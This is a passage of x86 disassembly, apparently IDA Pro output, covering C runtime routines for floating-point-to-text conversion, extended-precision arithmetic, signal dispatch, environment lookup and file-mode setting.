loc_425E12:				; CODE XREF: sub_425A21+3ECj
		cmp	eax, 1450h
		jle	short loc_425E49
		mov	[ebp+var_2C], 1


loc_425E20:				; CODE XREF: sub_425A21+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_425E2C:				; CODE XREF: sub_425A21+454j
					; sub_425A21+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425E92
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425EA7
; ---------------------------------------------------------------------------


loc_425E49:				; CODE XREF: sub_425A21+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425E59
		mov	[ebp+var_30], 1
		jmp	short loc_425E20
; ---------------------------------------------------------------------------


loc_425E59:				; CODE XREF: sub_425A21+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42660A
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_425E2C
; ---------------------------------------------------------------------------


loc_425E77:				; CODE XREF: sub_425A21+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_425E2C
; ---------------------------------------------------------------------------


loc_425E81:				; CODE XREF: sub_425A21+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425EA7
; ---------------------------------------------------------------------------


loc_425E92:				; CODE XREF: sub_425A21+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425EA7
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425EA7:				; CODE XREF: sub_425A21+426j
					; sub_425A21+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_425A21	endp

; ---------------------------------------------------------------------------
off_425EC2	dd offset loc_425A8B	; DATA XREF: sub_425A21+63r
		dd offset loc_425ADA	; jump table for switch	statement
		dd offset loc_425B31
		dd offset loc_425B5B
		dd offset loc_425BB6
		dd offset loc_425C2D
		dd offset loc_425C63
		dd offset loc_425CAD
		dd offset loc_425C8C
		dd offset loc_425D11
		dd offset loc_425CFB
		dd offset loc_425CC7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425EF2	proc near		; CODE XREF: sub_424E19+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425F54
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425F58
; ---------------------------------------------------------------------------


loc_425F54:				; CODE XREF: sub_425EF2+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425F58:				; CODE XREF: sub_425EF2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_425F7E
		test	edi, edi
		jnz	short loc_425F7E
		cmp	[ebp+arg_0], edi
		jnz	short loc_425F7E


loc_425F69:				; CODE XREF: sub_425EF2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42617C
; ---------------------------------------------------------------------------


loc_425F7E:				; CODE XREF: sub_425EF2+6Cj
					; sub_425EF2+70j ...
		cmp	dx, si
		jnz	short loc_425FFD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425F97
		cmp	[ebp+arg_0], 0
		jz	short loc_425FA6


loc_425F97:				; CODE XREF: sub_425EF2+9Dj
		test	edi, 40000000h
		jnz	short loc_425FA6
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425FEC
; ---------------------------------------------------------------------------


loc_425FA6:				; CODE XREF: sub_425EF2+A3j
					; sub_425EF2+ABj
		test	cx, cx
		jz	short loc_425FC0
		cmp	edi, 0C0000000h
		jnz	short loc_425FC0
		cmp	[ebp+arg_0], 0
		jnz	short loc_425FE7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425FCF
; ---------------------------------------------------------------------------


loc_425FC0:				; CODE XREF: sub_425EF2+B7j
					; sub_425EF2+BFj
		cmp	edi, eax
		jnz	short loc_425FE7
		cmp	[ebp+arg_0], 0
		jnz	short loc_425FE7
		push	offset a1Inf	; "1#INF"


loc_425FCF:				; CODE XREF: sub_425EF2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C680
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425FDE:				; CODE XREF: sub_425EF2+109j
		and	[ebp+var_4], 0
		jmp	loc_426155
; ---------------------------------------------------------------------------


loc_425FE7:				; CODE XREF: sub_425EF2+C5j
					; sub_425EF2+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425FEC:				; CODE XREF: sub_425EF2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C680
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425FDE
; ---------------------------------------------------------------------------


loc_425FFD:				; CODE XREF: sub_425EF2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42660A
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42605E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4263EA
		pop	ecx
		pop	ecx


loc_42605E:				; CODE XREF: sub_425EF2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_426078
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42607B
		jmp	loc_425F69
; ---------------------------------------------------------------------------


loc_426078:				; CODE XREF: sub_425EF2+173j
		mov	edi, [ebp+arg_C]


loc_42607B:				; CODE XREF: sub_425EF2+17Fj
		cmp	edi, 15h
		jle	short loc_426083
		push	15h
		pop	edi


loc_426083:				; CODE XREF: sub_425EF2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_426099:				; CODE XREF: sub_425EF2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4258FF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_426099
		test	esi, esi
		jge	short loc_4260C3
		neg	esi
		and	esi, 0FFh
		jle	short loc_4260C3


loc_4260B6:				; CODE XREF: sub_425EF2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42592D
		dec	esi
		pop	ecx
		jnz	short loc_4260B6


loc_4260C3:				; CODE XREF: sub_425EF2+1B8j
					; sub_425EF2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_426120
		mov	[ebp+arg_C], ecx


loc_4260D3:				; CODE XREF: sub_425EF2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4258FF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4258FF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4258A1
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4258FF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4260D3
		mov	eax, [ebp+arg_14]


loc_426120:				; CODE XREF: sub_425EF2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42615D


loc_42612D:				; CODE XREF: sub_425EF2+248j
		cmp	eax, ecx
		jb	short loc_426140
		cmp	byte ptr [eax],	39h
		jnz	short loc_42613C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_42612D
; ---------------------------------------------------------------------------


loc_42613C:				; CODE XREF: sub_425EF2+242j
		cmp	eax, ecx
		jnb	short loc_426144


loc_426140:				; CODE XREF: sub_425EF2+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_426144:				; CODE XREF: sub_425EF2+24Cj
		inc	byte ptr [eax]


loc_426146:				; CODE XREF: sub_425EF2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_426155:				; CODE XREF: sub_425EF2+F0j
		mov	eax, [ebp+var_4]


loc_426158:				; CODE XREF: sub_425EF2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42615D:				; CODE XREF: sub_425EF2+239j
					; sub_425EF2+275j
		cmp	eax, ecx
		jb	short loc_42616D
		cmp	byte ptr [eax],	30h
		jnz	short loc_426169
		dec	eax
		jmp	short loc_42615D
; ---------------------------------------------------------------------------


loc_426169:				; CODE XREF: sub_425EF2+272j
		cmp	eax, ecx
		jnb	short loc_426146


loc_42616D:				; CODE XREF: sub_425EF2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42617C:				; CODE XREF: sub_425EF2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_426158
sub_425EF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426185	proc near		; CODE XREF: sub_422D5C+229Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4261EC
		dec	eax
		dec	eax
		jz	short loc_4261DD
		sub	eax, 4
		jz	short loc_4261DD
		sub	eax, 3
		jz	short loc_4261DD
		sub	eax, 4
		jz	short loc_4261D0
		sub	eax, 6
		jz	short loc_4261C3
		dec	eax
		jz	short loc_4261B6
		or	eax, 0FFFFFFFFh
		jmp	loc_4262AE
; ---------------------------------------------------------------------------


loc_4261B6:				; CODE XREF: sub_426185+27j
		mov	esi, dword_4DE334
		mov	eax, offset dword_4DE334
		jmp	short loc_4261F7
; ---------------------------------------------------------------------------


loc_4261C3:				; CODE XREF: sub_426185+24j
		mov	esi, dword_4DE330
		mov	eax, offset dword_4DE330
		jmp	short loc_4261F7
; ---------------------------------------------------------------------------


loc_4261D0:				; CODE XREF: sub_426185+1Fj
		mov	esi, dword_4DE338
		mov	eax, offset dword_4DE338
		jmp	short loc_4261F7
; ---------------------------------------------------------------------------


loc_4261DD:				; CODE XREF: sub_426185+10j
					; sub_426185+15j ...
		push	edi
		call	sub_4262B2
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4261F7
; ---------------------------------------------------------------------------


loc_4261EC:				; CODE XREF: sub_426185+Cj
		mov	esi, dword_4DE32C
		mov	eax, offset dword_4DE32C


loc_4261F7:				; CODE XREF: sub_426185+3Cj
					; sub_426185+49j ...
		cmp	esi, 1
		jnz	short loc_426203
		xor	eax, eax
		jmp	loc_4262AE
; ---------------------------------------------------------------------------


loc_426203:				; CODE XREF: sub_426185+75j
		test	esi, esi
		jnz	short loc_42620E
		push	3
		call	sub_41BF92


loc_42620E:				; CODE XREF: sub_426185+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_426220
		cmp	edi, 0Bh
		jz	short loc_426220
		cmp	edi, 4
		jnz	short loc_426246


loc_426220:				; CODE XREF: sub_426185+8Fj
					; sub_426185+94j
		mov	ebx, dword_4DE10C
		and	dword_4DE10C, 0
		cmp	edi, ecx
		jnz	short loc_426275
		mov	edx, dword_43F8BC
		mov	dword_43F8BC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_426249
; ---------------------------------------------------------------------------


loc_426246:				; CODE XREF: sub_426185+99j
		mov	ebx, [ebp+arg_0]


loc_426249:				; CODE XREF: sub_426185+BFj
		cmp	edi, ecx
		jnz	short loc_426275
		mov	eax, dword_43F8B0
		mov	ecx, dword_43F8B4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_42627C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43F840h[edx*4]


loc_42626A:				; CODE XREF: sub_426185+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_42626A
		jmp	short loc_42627C
; ---------------------------------------------------------------------------


loc_426275:				; CODE XREF: sub_426185+AAj
					; sub_426185+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_42628A


loc_42627C:				; CODE XREF: sub_426185+D7j
					; sub_426185+EEj
		push	dword_43F8BC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_426298
; ---------------------------------------------------------------------------


loc_42628A:				; CODE XREF: sub_426185+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_426298
		cmp	edi, 4
		jnz	short loc_4262AB


loc_426298:				; CODE XREF: sub_426185+103j
					; sub_426185+10Cj
		cmp	edi, 8
		mov	dword_4DE10C, ebx
		jnz	short loc_4262AB
		mov	eax, [ebp+arg_0]
		mov	dword_43F8BC, eax


loc_4262AB:				; CODE XREF: sub_426185+111j
					; sub_426185+11Cj
		xor	eax, eax
		pop	ebx


loc_4262AE:				; CODE XREF: sub_426185+2Cj
					; sub_426185+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_426185	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262B2	proc near		; CODE XREF: sub_426185+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43F8B8
		cmp	dword_43F83C, edx
		push	esi
		mov	eax, offset dword_43F838
		jz	short loc_4262E0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43F838h[esi*4]


loc_4262D4:				; CODE XREF: sub_4262B2+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_4262E0
		cmp	[eax+4], edx
		jnz	short loc_4262D4


loc_4262E0:				; CODE XREF: sub_4262B2+16j
					; sub_4262B2+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43F838h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_4262F4
		cmp	[eax+4], edx
		jz	short locret_4262F6


loc_4262F4:				; CODE XREF: sub_4262B2+3Bj
		xor	eax, eax

locret_4262F6:				; CODE XREF: sub_4262B2+40j
		retn
sub_4262B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262F7	proc near		; CODE XREF: sub_42501C+23p

arg_0		= dword	ptr  4

		cmp	dword_4DF6D0, 0
		push	ebx
		push	esi
		mov	esi, dword_4DE054
		push	edi
		jz	short loc_42636E
		test	esi, esi
		jnz	short loc_426328
		cmp	dword_4DE05C, esi
		jz	short loc_42636E
		call	sub_4266C5
		test	eax, eax
		jnz	short loc_42636E
		mov	esi, dword_4DE054
		test	esi, esi
		jz	short loc_42636E


loc_426328:				; CODE XREF: sub_4262F7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_42636E
		push	ebx
		call	sub_41B7B0
		pop	ecx
		mov	edi, eax


loc_426339:				; CODE XREF: sub_4262F7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636E
		push	eax
		call	sub_41B7B0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_426361
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_426361
		push	edi
		push	ebx
		push	eax
		call	sub_426686
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_426366


loc_426361:				; CODE XREF: sub_4262F7+51j
					; sub_4262F7+59j
		add	esi, 4
		jmp	short loc_426339
; ---------------------------------------------------------------------------


loc_426366:				; CODE XREF: sub_4262F7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_426370
; ---------------------------------------------------------------------------


loc_42636E:				; CODE XREF: sub_4262F7+10j
					; sub_4262F7+1Cj ...
		xor	eax, eax


loc_426370:				; CODE XREF: sub_4262F7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4262F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_426374	proc near		; CODE XREF: sub_42573A+8Bp
					; sub_42573A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DE460
		jnb	short loc_4263DB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DE360[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_4263DB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_4263B4
		and	cl, 7Fh
		jmp	short loc_4263C1
; ---------------------------------------------------------------------------


loc_4263B4:				; CODE XREF: sub_426374+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_4263CF
		or	cl, 80h


loc_4263C1:				; CODE XREF: sub_426374+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4263CF:				; CODE XREF: sub_426374+48j
		mov	dword_4DE02C, 16h
		jmp	short loc_4263E5
; ---------------------------------------------------------------------------


loc_4263DB:				; CODE XREF: sub_426374+Bj
					; sub_426374+27j
		mov	dword_4DE02C, 9


loc_4263E5:				; CODE XREF: sub_426374+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_426374	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263EA	proc near		; CODE XREF: sub_425EF2+165p
					; sub_42660A+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4265EA
		cmp	cx, 7FFFh
		jnb	loc_4265EA
		cmp	dx, 0BFFDh
		ja	loc_4265EA
		cmp	dx, 3FBFh
		ja	short loc_426453
		xor	eax, eax
		jmp	short loc_42648D
; ---------------------------------------------------------------------------


loc_426453:				; CODE XREF: sub_4263EA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_426475
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_426475
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_426477
		cmp	[esi], eax
		jnz	short loc_426477
		jmp	loc_4265E4
; ---------------------------------------------------------------------------


loc_426475:				; CODE XREF: sub_4263EA+71j
					; sub_4263EA+79j
		xor	eax, eax


loc_426477:				; CODE XREF: sub_4263EA+80j
					; sub_4263EA+84j
		cmp	cx, ax
		jnz	short loc_42649A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_42649A
		cmp	[ebx+4], eax
		jnz	short loc_42649A
		cmp	[ebx], eax
		jnz	short loc_42649A


loc_42648D:				; CODE XREF: sub_4263EA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426605
; ---------------------------------------------------------------------------


loc_42649A:				; CODE XREF: sub_4263EA+90j
					; sub_4263EA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_4264AA:				; CODE XREF: sub_4263EA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_4264FE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_4264C6:				; CODE XREF: sub_4263EA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425880
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4264F1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_4264F1:				; CODE XREF: sub_4263EA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_4264C6


loc_4264FE:				; CODE XREF: sub_4263EA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_4264AA
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_426541


loc_42651C:				; CODE XREF: sub_4263EA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_42653A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4258FF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_42651C


loc_42653A:				; CODE XREF: sub_4263EA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_42657A


loc_426541:				; CODE XREF: sub_4263EA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_42657A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_42655A:				; CODE XREF: sub_4263EA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_426563
		inc	[ebp+var_14]


loc_426563:				; CODE XREF: sub_4263EA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42592D
		dec	ebx
		pop	ecx
		jnz	short loc_42655A
		cmp	[ebp+var_14], 0
		jz	short loc_42657A
		or	byte ptr [ebp+var_24], 1


loc_42657A:				; CODE XREF: sub_4263EA+155j
					; sub_4263EA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_426591
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_4265C6


loc_426591:				; CODE XREF: sub_4263EA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_4265C3
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_4265BE
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_4265B8
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_4265C6
; ---------------------------------------------------------------------------


loc_4265B8:				; CODE XREF: sub_4263EA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_4265C6
; ---------------------------------------------------------------------------


loc_4265BE:				; CODE XREF: sub_4263EA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_4265C6
; ---------------------------------------------------------------------------


loc_4265C3:				; CODE XREF: sub_4263EA+1ABj
		inc	[ebp+var_24+2]


loc_4265C6:				; CODE XREF: sub_4263EA+1A5j
					; sub_4263EA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4265EA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_4265E4:				; CODE XREF: sub_4263EA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426605
; ---------------------------------------------------------------------------


loc_4265EA:				; CODE XREF: sub_4263EA+42j
					; sub_4263EA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426605:				; CODE XREF: sub_4263EA+ABj
					; sub_4263EA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4263EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42660A	proc near		; CODE XREF: sub_425A21+440p
					; sub_425EF2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43FAB8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426683
		jge	short loc_426632
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43FC18
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426632:				; CODE XREF: sub_42660A+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_42663D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_42663D:				; CODE XREF: sub_42660A+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426683
		push	esi
		push	edi


loc_426644:				; CODE XREF: sub_42660A+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_42667C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_42666F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_42666F:				; CODE XREF: sub_42660A+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_4263EA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_42667C:				; CODE XREF: sub_42660A+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426644
		pop	edi
		pop	esi


loc_426683:				; CODE XREF: sub_42660A+14j
					; sub_42660A+36j
		pop	ebx
		leave
		retn
sub_42660A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426686	proc near		; CODE XREF: sub_4262F7+5Ep
					; sub_426B37+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_426693
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426693:				; CODE XREF: sub_426686+7j
		push	dword_4DF484
		push	[ebp+arg_8]
		push	[ebp+arg_4]
